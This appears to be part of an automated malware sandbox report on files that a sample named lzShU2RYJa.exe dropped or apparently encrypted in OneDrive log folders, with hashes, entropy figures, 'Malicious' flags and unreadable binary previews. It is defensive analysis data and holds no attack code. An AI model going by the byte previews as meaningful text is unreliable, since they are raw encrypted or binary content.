>7...&....\.\|g..H.......D..W.c.O.x..\|1N...u.....qt....>......'.w....F...O..m^m.!2u...cB....v..'v..^.a.U...H.C.....2....U..4.....9<...P\|..Nw.W.....~D...j.5(...._.......z.p..7.[..{.I.H.m.].\..0k..).....7b....j]Id..:T.p...m.m.l.,4$F.;..hjB6t../...z2....O1......d5Y0..7....4....6."q..b>...F........o...4..d..SD..,...\|_J..8.....Z...G~2/...c8.F.....CM.q......N..[..=..Z....$.n.8....:.Y..J..-w.Q.}.J...Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.690268652495746
Encrypted:	false
SSDEEP:	768:rwMwvnDYlOZZI79NnT/kJZ5vQ1RNUXytV1bf:E3vDYlOwLT/kJZKiIL
MD5:	1321B325DE055BDB1C07DE88CAB3A9DD
SHA1:	80D57B8713CA2B387C0A3393DDCA48154229570B
SHA-256:	62C9E3D9FA7F1E5696EC1E0461452CFD70C7987F53CB3815F6FADA671EE5FC51
SHA-512:	2D5286F16947A7A38CE14B731A1AB88E0B92BA03778080FF4786CBBB04E1DD3B7B19BC5AE3B3FB8012C6660BCAE2C75CA5130989580C137ADD2FC90E84F54375
Malicious:	false
Preview:	EBFGO..?:..?q0.E.Ln..K......@V............@...I`'^.r.>..}....Ry....!......t...?v...0...WZ.>....L.t~..nV.@....7i.....:.i.b.B...]..(....!.[H...6..k..?X.%.....o. .@k........3..cs.:AO.&XO...]._..=..{......j..3..\|t..s.8.Z.j....w..O.)B.P.0A`:O....5.......J..J^kk.;.....g.Z..o.&hk7..u.Y..!..1M......?.x.k..m5X...c....m.i.....e.D...%."..C.......}...G.u....D...\..#.T.S.6...e......k...... ......8.C......2..t.4`...T..>..a..>....Z.I.z=..~$I5..k..P.._p.."...u...mS.tM.R..e...$.....O.0..F.m'_r.{p..w.Y......M..t..K.=.....'..{..]..9.H........Kj1..O.......&.....VE;.b...l@.wf~.E>.....:.p....V.P........6\|l.Z.... ".@'r....iSH$0`....K..~H..f.A!..0C..K....4{...0\l.Yu.!.Jf.4.D./.E.D.W ....B{.GC...6..,..:.n.\Ae./.Ek...o..j.=..O.XBa...........B..8n.2..M.UGs.B6-.n..X.%..[..;9)O."..^P..6._E.cB.....e.vb.c...V..h..k..K ...2m.._.$...].gp]u....7.....,.0.:.Da..x..?....;n.qB:-....'+\|..\|....y9.....E...G.....S....g[.c.fZ...'3..+..S.i..S..d..f..(`..e..=.....Y.D..=..=

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2697589050970408
Encrypted:	false
SSDEEP:	48:loPP5IlbMubz3bOPbIpyJxk6uIi2KzFz:loPPKBSeS26xi2EN
MD5:	0C7F624E94ED1D94980E777EB8E7457C
SHA1:	AFCF239960C36ADE5AD972FA8973FE3762C92BCB
SHA-256:	538BAE04AA6BC817508F44C97BEA156CC93D72521957C54F26E497C998CAC011
SHA-512:	2B48992DCD9D698DA38F70C1B8B2FDCE8870CFF35CE4B4B1DD2F980D8C22BC2A9E21AB798267161F2BA9DB182F90AC1636673CD72184A922FF6C7D4F7154BFC1
Malicious:	false
Preview:	EBFGO`..E..~.......n..3.G..yu..4.ac...Ev.p.....I1..fh.l\|...l.2)<[.z.~..O"Z.]...(.jH..wrQE......Kk. M./...n...\....g~vs..1B.3.F....P..D......&..Wo.....).D.k..>...6.~..".....5;..d.......j..Jt..qoi....!.B..!.....$=.F..8}x.)9.g.ln5e.PU/....f.f3B.q.9...i..RY..Tn0~...$.].........,......T..CM-...z.W..l.......@.D..Zw=D.:.\60..G .P.....T....T.m.r'\....3..79.9.C..k. ...:.r..%....Z.A.C...q..?xv...u<...qHi.4.5.$3Y..._..p...B=...ym.....".PXk.C.\|W.~.X........^.......GE/. 8....s....]...Y.,..x..AMw4..&.c.b....k......g.@.=...-;..4....%7z..-...m...jI.)...:...L......S........>......^...1twuw..[..F6..........M...../3...n....E.RM.-*..}.$.G.6qK.....]7.... G...v....t.M.x.D#]....~...1.^.93.....G...AO.0..5...7T\|......TX......r....[.7y.d....Y.lXw~;w..)'.ktZ:!...XVRrs.............K..u...:uh......._O..2b.._.1.m.kP4.y..@.A.C.]!5..1...#.Kze.Y9...D8e......$..lY$......3].c...MHm..A...<p.b..SP+..U.w.1h'{..xcqOJ..1.........{\.e1@i.}.m2.<.sV.e.A.a`n....6.U......PHDJ.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.9103458957718535
Encrypted:	false
SSDEEP:	3072:9uBSQFIhv5y3UbpFmnsu16hfCzl3ceBzqZTbVeK3A12ATlK:9uBSDhhJoqfW3ciuT55Anw
MD5:	7B2427CEDF6549AE2E37D26D23A04093
SHA1:	50EF970C6B720728CCD7E4EB5DB29E18D1A928DC
SHA-256:	65D0A0578B703338E3B0496043609C3BDEA255D57564E247353C7122CFC0DD72
SHA-512:	2052C5F25863DBC58D3C4C949B99E0ABDCBD13A4DA5002B05AC61775B4B0A66BA01A9884E517FFF76C8E8216E5BF2A94191F3E9889918BAD1B22637B7BEFD9CC
Malicious:	false
Preview:	1.0./3...r..6. d..3..R7...L.e...igU...zl.7...M...:W.U.Z?p..#".1.9....l..8.....GBtS"..N[5...m...u.,..d...Q..o-...&.e..=u6c.I.Xs:s......0.(9.uD.......R.M.5.F$...6.Y......\`.RpSo.R:.........Ob..\6..-..+j.(IQ.D..#.m...!}....o.[..Z.l...{.(..li).'.s.t.2.bRu.f...s.G....u..Tme......#+....-J..h..\g..^.V....O...c......P...Em.tP.8..S....V..P.............L......X]5@..Z.Xo.......?Z...2u.......l..Q...uT'O..V.f.N.{..<4CG....A...).o%V./.._m.j....Z`c..."].{M..:...T&.O...G.E.......QF5....~.....tKF.0.R..lOKN.Y.....S...R..S.h3>9..{...+Ri.Sias{...Ub.[..b8.m%.r...u!Vq"......A.Q.....m.\|..\j...>r.W..p...H/.HS2...{...V<z.d..NM.O~..t..c..B@0..!PZb.E.B......F...e.....$.....=..1..<...b...u..\..5..].X....f.6!...I...Ty../.P.zv..j}.>..2.LE..W..g.m...Vh.........}Y.!.../F.F.k.P..._eJ...d5`;_..?Z4!e..M8&Vu.....c.......3....83.[+.p.{m........T....%..).TC'M".%}<..L$.V....V}.1....Q.WLv...K+....4...B........Y(!. ...L34@F.i.RJ..-%./Dd4.....7j....<..w..)!..2.!...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.792908200905789
Encrypted:	false
SSDEEP:	3072:ZN3XAjrCzZSdd4QjcteJxfM0AI+qTlVl9HF2F7Zx6pGRM78bFb00scbWXr69v8mg:ZhQKzEdxcs39TDlVYF7ZEER3hb00XNi
MD5:	28B47F6AA1F4580C23F6211BCE33E23A
SHA1:	A4ED8AB5D8CD17A5F4C446024F15A02851FD999E
SHA-256:	B3529F34783069B20922C98EB0D511533CE993EF3EF59BF347965DBA16CE73C8
SHA-512:	6741446DA93A2BE903CBF40AFF4A9224A56C8BF000307FCAF0532F2BCA86DB91803E9FDA2E8E123EBD007D070E7E5E0C12067C044F19E8B86DFAE5C01A974D91
Malicious:	false
Preview:	1.0./...P.,J..4.&...\|yLBY...y.f.RV}..z..S...aT......{..}.)....0C=OV..^.....\|X.V.........\..[.&.....$.`....3..c.Wt...f....i.......R=.e......Y..%......#.$..O.{K....,........kf.@Z.c.9...P8B.....DmF..f)..k.&,...kk/c,.s.{Di.....4..>.5..P...S..N.a.V.?.X...aoV\.x.<......U..+...O0..%..9.,.....=.}.0.'..e....0..9....z...t...PE............f.......F"Sy....a..\;.mUv..,).......o..'1..3=.8...\|/.@T.d...T}..0$.vZ.. ......5B.3R.~C<[.d+..^Oy.hL0.......3!.{...n.H<./.#.d..<.^q..#.......{u.>Ua.g.mj..-.o...[.u]....5o......^........Z....i....E.........[.........}...h.._.....V-..ZGA".~$....0..E../^...Fw......$>WQ.^%.....(..b.Gn.V..#.'7_.lj......{...........8z.$.......q..M..IF.18M.WUKqT...NJ....+3"...o..k5E.X.'.......u=u...-.\.)..h.#.K.-..z.wJ..}...o..1....6gm../j6`....G.K.1..O...t4.........Z...-.aAQ..k.>.. +....._.....}...!...TAJd.~.*.rco.b.2...:.B..d.7.....oT'...0..d.._a}Y.q+.g.t.vq.#.D.&.?..,...uT.C.;.........'...{w...T1.....zb....mn...#l`...E...v./}....F.]

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.651122384282578
Encrypted:	false
SSDEEP:	1536:tSa1nBXX9CcNBz2C2ph1220eFwIkbSywNOfwITUHE1hNr0Z/LO5tAmgbg8YoiV7:tH1nBFNlc220eSy11Il1iLO5tHD8/e7
MD5:	BEA7CBB1F72F58977B3222B7E4B92BAE
SHA1:	6573DD4069BB631BAA71EC827F23EFE6923ABCDA
SHA-256:	8C5526C8119AF80382FB05B3FCE1FE9721DF2A1860DFCBED8903CCB3D30665CA
SHA-512:	81416E0E95CB12E1BC079173E31CDD4B3218F54F84D9CED21C14D4ABF90BE9CD73D88C09096F4CBD52C400015BDAB80FF1AFB695B03497B616F6B76CC5B976CD
Malicious:	false
Preview:	1.0./...;N^0...S.{..:#p....\|.)A....].[......u.!..9...%.W......y......j6.}...kK ....?..4..v7..w.m..........+8?9Z.s...n.@..[.Pm.g.s.c.n[.@W..yo.A..#O8t....k2..b..HC....?.-.....i..'....hmye`H:..\.7......3...i.[.6.... ...=@._{G.`......~./..h-..XA.m.B.j.i..4..$.r..J..Z...w.P.=g......3..I......O...........gB..aNHKi....c.P..cr!.l.9.t...3.9`..T..Y...J.m.......=..)At3D9W...p.............E.....%..l.7.`.F[..3..#.....{....;.H._"k..."vC......U....XS......./.g.T./..!.K.[..x../=...j....u_....V..sva.;g..I......Sa[.....-......V..>...k.R..y..N.^...E..%.E.uRSvl....%.&..........B.i^01$.BoC.A..-.x..%...@\|.....8F...t.U.._t.i..F....C.l.M..^..Icl.....Mu.@l._$...d/L....{.........].Y...D/f..)l."j....r.....2!..Ns.Q#y...c....E..\5...G..'..C..XFn..Bk....?\.Z...L.P..k!......E.w..c48+T......Xm..<.g7e.3 Y#...B..Lo.....W.H.....3d.n}..No..$Uoj.u.Po.9.PL...3..a#....j..\....fI.).^l.`[../V...$~D2......m..G..<..#h.kk.....4U.i..I..C..o..@..U.......]@...c.*.e...5.l..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.994016216441861
Encrypted:	true
SSDEEP:	768:+d4UsFUWim7AOdTBTis1l7wEKOJ/NACN0tAFO+uGEw+RnO:ANKiO9BTis1l7tTNADP+T+1O
MD5:	E12D47064FF23EE6C4C633D249AB3B2F
SHA1:	A762524B5F7573012A15E2145002096FAD663B25
SHA-256:	6596CD52C4BF0B87262AE50B7D954E987AD23A24CE6DD163940DAA20CB326736
SHA-512:	B57D6FB7E41485F57EC1C72154D9D7838811186CA10C0B849A2F716C869785FDA9414BB078B4A51F06C6482F3C69CD0BC91C0BC51CFAE2BC91CC0D3029E5B466
Malicious:	true
Preview:	1.0./}....n.l\|.1.....0...x...%......l....;nE.l'Su...b.W<d....p.~...._.....c.K..^U.oo.....f..\|.\..Q.....%N.'..w..>0'.I.v.h8....l..m...Z1.)N).b.j....Q....=../.m..".vc....,..0..."}.Ry..5.X.....f5!...t.\....6......=.....k......Ow....?._m..-.I..,..V.=O}p>8.ZV..`......f.T3..Q.i.........0.k"8P......c".J J.........e...>.....}....1.C.}\|.O0[...B.J.G`.v..X...U...`oB.......i......j....Q.T+..#!.(...'.h....>...0.l...3..+...b$.aA.E.....I......t%...!g.L.9....e.@A.\|r.(z..._3....p.....@.xx....:....[...yE.qn....^.<....h..u.\.V.v..i.r9v....E..Z.a.....M.-.QS..z......,-..9$.(.S...I..r.{.E.D...t.....`..e..h..PW......I%.z...$...{8~.{..2.<....6.]l.7T...4..~OK...3...#"<.I...jZ..T...i...x...Gf..^A..=B....F....T1...%n.fQ.a]..c...Z,~..U.".+to....&X.%$y...e.....TP...o..P..B.Z.P../.w76L.:W.D..7.S.:...y.Z%i....L../.fo.8u...\|..E.=]..'j.....0}Q.r.]K}.C..%.:........Y.+R....#{b..s..t..'#...&E.IU.....u..8.k.Zp..6.8 ....oNT.m....!...N...fZ7.T..;..[......-.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.499123675322354
Encrypted:	false
SSDEEP:	768:r+ebG9fCAmnxmFRa8qvS30HQ1g00b80eZMjSS1dtZNCIt6:r+eUfoxURzVEHjtb80e+jSS1vZNC+6
MD5:	E9E668B21ABEEF599E485DEB7A535CE2
SHA1:	A71D852EB4590B6F92DA781D70DE12F2956CAE41
SHA-256:	8CE1380B17A59A4F07C770741F54B2B699C0F0C3851650BFCAE5977E85A63DD8
SHA-512:	181EF13665D4B9A10A40CE10D0091D85504381DF800A941F50DB1708701868B420D696884CF7C1C3A227E0C4283CEFD108A7BE04B19AD5B746704A8A5B647376
Malicious:	false
Preview:	1.0./.L2j..D.S.u...<...md..2F.....".....h.....1Bqx.Yh.j....E9.9...y....y?....v...2.+.C1.bQ..p8...h.t....%....Z.z.1.!..s.0o......-....a.....h.3SUd.......b;..J.... ...z.........m..kTi..z.<..ov.b..`..::.VCp_^.g.......2}..V....{...../...0.....o.l...A...V.a......B.Z..0Q.+.!.\|...........<....WT...]w....[x1.......n7.. ....6d.N.....22..Q.. .A9..nJl.r.....-b..g._..Q...(....H....I.F...Q...r.?%..f...X&.;0.i.cW!....U...C...!.UZcZ.V.\|...q..B..8k..c....H.2k.... l..C)...-....sC!.F8.z.8.o...k.8(A+..K`X....V.;...>b,o.M.... Q.<..ZQ.n\|.....:.......h..gh..Z...9.}.(,?..[.M.......>".5...1...T...5F?k......7x....E...5.3.:U.n.!Zr....(..IHL$..~.'..}.(......-,.%X.e.7-\......w.N.5.q...x.@G@...z.Lm....g.x..+mP..........+CW..8.4....jiy..D...-.q/....V...Y.....;..6?.}`.)..d.Bi3.."..+....=Z...7Yl.>..v~).J...[Y....3.....hL.p..T..9..~%...j.b.T..G.\XNIFe.n.....&v..g.........{...E@..r.$...q./.\|........VX..&..E...6{...q.. .B...X.F...Z.0..2.....Dg..,-.9.}.........

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.63063046927699
Encrypted:	false
SSDEEP:	1536:JTR3nbNrsjKnPparriwn9GfuUsabx7/c3cd8GQ3pdCEazTCL1C89QEkv:JR3b+IWRIfuUsaZL8pp0VzTNAQEM
MD5:	1E1C1C25FCA0C426881EF8BFBDE9214C
SHA1:	D59F1E355BF0923E7E9497ADC0B5E2ED13793B7C
SHA-256:	6D2F9865C4AE7A0EED491B1A0FB5F2AF68522D09F01E1A3A3388CEF68954736B
SHA-512:	41FDC9EB7AB0B50AC8BF27E20DF8803FEB3E2A20215A380FABA5B4A52E33A45F40CB2E673B6E2E80C380347AE5653A5A702536322DFD128CF6A737557F64775F
Malicious:	false
Preview:	1.0./j..p..j..^.P..x.\|q...dhv...ZIP.Q.....g..........=.I..h....W.:.2.j...%..L..!.gb...ik......v....}..9........@.{[.........Di...2..+...U...F`....M..8.S..m<..c..8I...."."iU/...9..f.....O@..a.+......[.t....G..T......P..3..w....R.l....w5...38h_.1.2m...L.xE+....x._z..(0..`...R.0...U.W...x...o. N?.._.8...=^5.h..LKC.~.^..{...k!.{.C\\.^3_..........P......`M}j.X..#..m.5..(E.TG..n...0(}.sdw..$..\|<8.k..../.....t...2+f"&..:...p0}.F...).99...V....u..u.......H....\|.A.....~Tw}.?4b..b..W.....>......U.u]m2..h".AGQ.U...G.]. &qY..E-.Q..u.o.S.O.2.]>v.......V..c...%.r.M....PS.-..#..^........i.._.....t.=._<R....Qi..F..v..<...\....t"w.q5..j......<....B}....[.~S*5C...rt6Q....A...5=..}.#+.x....F.....A.$.5.~R.S......4).z.gZ....!.H.....fR.?...D."...y3U....)m].P8...L..px.B+T.d..y..K..p...FD.y..([.......u-..!P.g.%0.Xj,..$...e.Y.8J...Y>.7........f.}.7...zP...{.f....K....Z....)6C..5.......}f.....l[...?9.[a...Z.p:...m8.P...5.G..!.1R....Y..v.].k.m......Yg.W.zq...c

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1011471960980193
Encrypted:	false
SSDEEP:	384:bNOFov9ykPdolzqDAKe/NFJhRwZwwrunyk:BOFHkPdmyXe/N/Cwwr
MD5:	C6937D6BD3DC633F525C3AAC0BD82B48
SHA1:	E32E7F89844D7BEC3784BFF71AC01EE7B8D6EDCF
SHA-256:	02621BB3864B5D4993355A1A13EF20AD6D3E5394F2C629D22E548E73A2F4A714
SHA-512:	CE7C85C2790A0241344F467DC08935B81AF9D39DD5177DE582B32B852A9686FE3D16F53CC9BBD49C2489909D4A422A10E4B4629176C4C2DE3437581EF8C1AB45
Malicious:	false
Preview:	1.0./...p.....Kn.Us8.r..\|W.#....A...\|.tp{....0.h.V[....}w.w[...B....r,.@4l.,../0...l.KU.7..}..y..~3.......Y...1...R....".B.s]._...\|.B0.a.%.L.o.'..T..^w;].%.vt..'.c.y.0.V&.8.I..........x..t..7u.#i....9.5})...[...Cc.<...W.BF..W...p........d.V...T..w..I....!....G.f....0.6..M?F...Q... A3.N.N.....1..G/.3.X...[...c....Z..W..fx.AK9.CfW(5...s0\|.}..Ub.5g...4kz...Z.a..O}.....d.a....J...\..j...q9...J.u._..3w.o.i.!._%.......:9...B....j.`..#....n.rx.E..y.5......R'.=...n([mF..(....ZX..?$U......O.7._.gK{o9%...H^pU.4..c.~...7....#e".......?J\|.@V....\|.Hc......4.......v_m..}f?..p9..[-*Z......Uv...........B...A....)J.&,N.............h.S#D~8.r#.O..B.p..r...+....g....!@.K..!.AS)...u...D......7Y.....R.1..Ia>L.W...s..PA.de!.1.j;.,.m).Gp...@.....[.:....;P......n.......g....~DzF.,5.(.m.!-..YF..9Q?R..3..F..S`.....\n..X..mh.....)..$ei.\|c..w..Y8gt.Jy&...../=...l.....'.5.`..~V..u..&o...b[...:.DBQ.....,.y.4...G...w...8g.J....Y\|.YnO...u..}-XV..t.5...Mq!.7,a.&OXu..v.5.:.e...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9655441197548353
Encrypted:	false
SSDEEP:	96:ZBPMWbMbePjoVZvevDN8rwmTmFQ8FCmY+IsLzkGpHCJChN:3PbMbeMQvDN8fkCmY4L9
MD5:	E79F107D8ECAD12ECFE7B455F06BD9BB
SHA1:	30639EC0ACA9CE9CEA9BE9654D0F6CE88C3CFCDB
SHA-256:	29534C2DBD872AF3F971026EF94BBEDA8A9374665DAE0A20E7D8FA5C7E16EFF5
SHA-512:	E81522FD68BF9C38DB79A7FB2BD539FFE788ABBFCCBC4A85585B31B6AF230BB006161C05628233F2C4322D8A5E7409EA667CF846493D49480CE6C42102C3C6CA
Malicious:	false
Preview:	EBFGO.e....%X.N..\|t.'Xtz..N..CcH.z.4.[C.t...fE.. Y......V........i.k..n..2.u.....o.T.)M.Zb..3...N.Z...M.g@nA.]@.\|<...q.cZ..x...[.2t..J."Ug..N>r....q...k2Mi..).....Iu.. .#k....D.9"..5K..WM_..}..<..&.....7i.0.R...w.j...Wn..O..L.g.'H..C....k.E..g.p..`]...>X<.....P.".s.'.9.\c.(WF }..\|(;B....."..'.6.....P......8.&.I......q........:.(._x..o..'.y .;o.........Qw..qf.....'.l.L.7H.....~,...Ff1..`..e..M7..d.&.aS.X.@I...w.........Yu6@............k....m.B...'T.X-.?..ybu..]5.\..w..o%..b..A..&H7TUb..E...G...\.C`.{..L.......T..9 .....+.".4=.`.m.......7...(!..`z@Mx..}..(..q$...R0..TOC.B.q.F.Y.....T....G.. .....,64J..t\|;..iSO...0.:.(.ac....I...&0]W{.......'.6.......0.(k}v..[.)M.....\|`..X.M.G{...b(6. ?o...,.M.w.G>.G...P~.I.o...........c...nkV.......?;G3Y..K.#...n...8Z1.@.d.#.;N%N........P.-......Tg.8..9..@:.).%...N..q.....-vbqe.$[.q.I.......=.\|...pk..).YX..\...M.J<.....2]...Ef...w......}.d ...4'B...-J3.[..m...q..lt^t.;1..K".r..Md(..&.[Z..<.A8#W.G)P...q.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5621659858654848
Encrypted:	false
SSDEEP:	192:0QHErK4D+zuNVFgLoplzml+DYJE2ovMBNEQe11ltWcjK:6rKeau32L6BmgDdRvMrExjG
MD5:	A6EFB931E740A1166946C218E74E3D3A
SHA1:	B1F2795B8D06C6F6919B7F5F5AED158A8562A3B7
SHA-256:	DAA3F3FFD8994091F4035310F3BA1B9F22077119395D5EC702D6E97FAEC57D0F
SHA-512:	8FAE101629D0A33994CE9A05D8B73CAAF1222CAF7CD5F96D3B514B0D94A0DA6C42257BCEC22817A295B08BC5B28DA7DCEC09D33A8E99329D771F5343F0C6ACB5
Malicious:	false
Preview:	EBFGO.2(..P.Zq[.W..S.h;AS.5.w\Y....8.mc.u\..P?..v;.BT.....Y.....F..?.l.y&G..UB.KD_...&f..z...z.e.>..!.88..W5.ML......E..=W.t.....I..]fNF"$T.M..+d.%..N.+96`....:.4/..E.........j..PZ.j:......BZ........m.m....O.....G..?.&.f.S...d>.:......u.nWR.g...kB/'.....x.e..y.....&Q..,+....p.....0v..ZS...!..........r..R...}..xA(.N.w..Q_..<..K......9_..S.\v..^.c.2/.e.........4?.....;.%6........z.V...Z.a..=..T..d..{.g....N7Y&......KQh.r.;.>..0...fN....Rg..\|h'5+.WaT.}..u.3..1m..8X......G.G..\...0..4+..".70k....T&.Z...W..9._..G.....E...v..I...........I..A.0.43R.p.....{:........\&...y......~.v`.z.5...1r.v..d.."3x.2...<q}.....\|.`V.e.ae{...Y.T..P.z\|.R...@..J..zf..... ..!.HF.v.>u....F0+...%%.:-..c=.Q..v..G.9......P%.Rc%.......:M1...}.......8...3.......;..&.vyqP..3.I.<..z...K......B..~..J...or.}......3.)....Q{W..XE....m...4).O..o!..9.g..\|......z....\...ki.6.Z..C...e..^.....F1.u....\.~s.."O4Y..H..\......:.rn..)3........f.....S@..g.V..o...A.....\|?.\|...5.....n.^

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8668216229684265
Encrypted:	false
SSDEEP:	96:yNORSApcKOvwv06Sf3MMuDi0rVBOEJag+g7BDTmN:yNOADnDLuWKOwL+e
MD5:	4624F33D1CB6783DB9A03075D661F208
SHA1:	BFAA9961B0C6555BD3D4A410FAD332D173751697
SHA-256:	BEEB2F9CF5CACC58538105435AE6CE33616650E9658E7419E351805341894554
SHA-512:	B3F615447938F56970E2FD6899EF5E77BAE3AE5AD74A6A38AB7D1CFA7C7FB7B738C9FAC59F83EB1C8DF6E7E25D2CD215D831EF81126535B3DC808A20CD04D256
Malicious:	false
Preview:	EBFGOa.....w...s.{.....8....../.4...1..5P\.]...........S...].E.B...#Z;`H...')0...C..D)..4.\|.....P.(/...Ag..r6.F..Cz..[....:p..K....=&.4..7N....X.R...{....0.C+`t.mM&.....3....Xhs..7>..TR.D-.RO...N....$#....j.b26S..w#e......5.X,#.....).g.[..I........f..u..u.6.+d..}Y..-..UM..];.NX.>.n....p.3TS5a.t&....zi..BE2...J.......pW....\|.j..4.i5.;.v.z..Y'..X.6.M.i..B.."Em.Q.^">.SF....==..i....i!..?a..N.p./.han..+.$.u..3}.[......8....`.`=q$.]...o......!.<.@....E.)....N.....i?.VW........'p2D.._..t.NG....q.U.R.tZ.1r.3....8....<..4w/.q.o....5..iB...}..EcS,....tm...2.rb..J/..L8..J..C...A.`gw..p.g.=...X...4.`....l..W...3...Cr..V...f.P.mUiR.^...4z...6.............D......=K. 6....Y":...^Gl2.B..5?.xgi@^.O]W.t.t...q....Tu...s.........t..PVEa^........@K.'y...`...# r.rw(...m.M.3.z..'.OM<........b..#F.u2c.....eB[3.T.j?.z...7U.,=...f..P.?..VT=...L1 /...!....i..~M...t.Lk...vO.....L\.?....&.Xr.[t^....a.[....v.Bj{.L...+9s-v.X.u-..;.~,.X....!....._....(,...^v....."d

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20627501120264424
Encrypted:	false
SSDEEP:	24:Y32c2UWFxd0wK08qbvzs37DokDeZecVbz:Y3TmKa8kvKD3eZecFz
MD5:	F187B4D0B0C1DBDD57361310C483F224
SHA1:	482B61636E3BB86AE70E1BAE5D058D5472B58471
SHA-256:	1350DF64359F24030B750E1AB484605E5764F923F16BEDF8BD5560B27B880486
SHA-512:	8B386B84BCA02059E6326329EE6E5D2A6513AFCF4A5FA28F24CC5AFF6690D6240652D0D4F7A6B8C59BF430A256C4F4D32D7B62D8FBDEEECF3A1AFDF7C05C96AA
Malicious:	false
Preview:	EBFGO..R~Z"..NX..C[/....Q.....YE.!S}..Kv.1.J.,p6.[....;...B..3N.....5v9)...'}8.u.p...i.s".7.2.?g..D...PS.d{`..'...........;....g.._9.Lc..C.^.p..9l.[X...9]..P..;/....jz.....TY...O..Ra....n~54=..W..e...Ff.Y&..3..3...._.G..e.\|..n.b...c)..H,.R...W......i/#^M=%.k..d&Q..@._F .dt=.8..CY#...`..2.c........6R.....\@}...Of....E....d..#@..<......].}.v.....<B.....%<J..+..Af.V4(.L$.....,.l.......).W)...!]..........]....O.P.6..Y..I.I.z......i.1.PZ.5.A..8...9.q.A.M....z .o.3......n.k.B..>.%>..".@.T..c.&...r...Dq.....\.0>..R.1TB.H..s0.?.;..*o.X.r..R'uTk.d.?.0..#:.7.%..w......RhM.y.::..1.Z".$..o=DF>.....37..gi2;8....'{.....:1..\|.I.Bu.<...~..cU....Kk.o.o...)...c.}..YH...s.-.....V..>...d....7".4,N....j..Oz.p`.\|b.SuUV....a{..j..E..C.[....!......Z.....;......e.\|.[.....p.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.455943305669738
Encrypted:	false
SSDEEP:	384:vD7SWi2vLpA3TqB1qmzc017L5R64lrRyD8mc4iTvjabiKW+zkK:vDzJe3TuRcy1fRRyUTvmPrzkK
MD5:	B027CDE1E264A797CF9F098F23B360EF
SHA1:	8F3D9CBBEE5DD97855DF760CFC9F865A5851183C
SHA-256:	1830013A65071A1E3F123C3DF38CDF8B9C4A2ED7BB1205A23C207A8A280E1008
SHA-512:	32933D0FE8DB9038511A3F2F804C3B949C415669C6DA4643D94BD3BA52CFEA710CD0C65497F6451D37F4EA6E852E1E2FA7F958B934DCBD67556AEB80410284E6
Malicious:	false
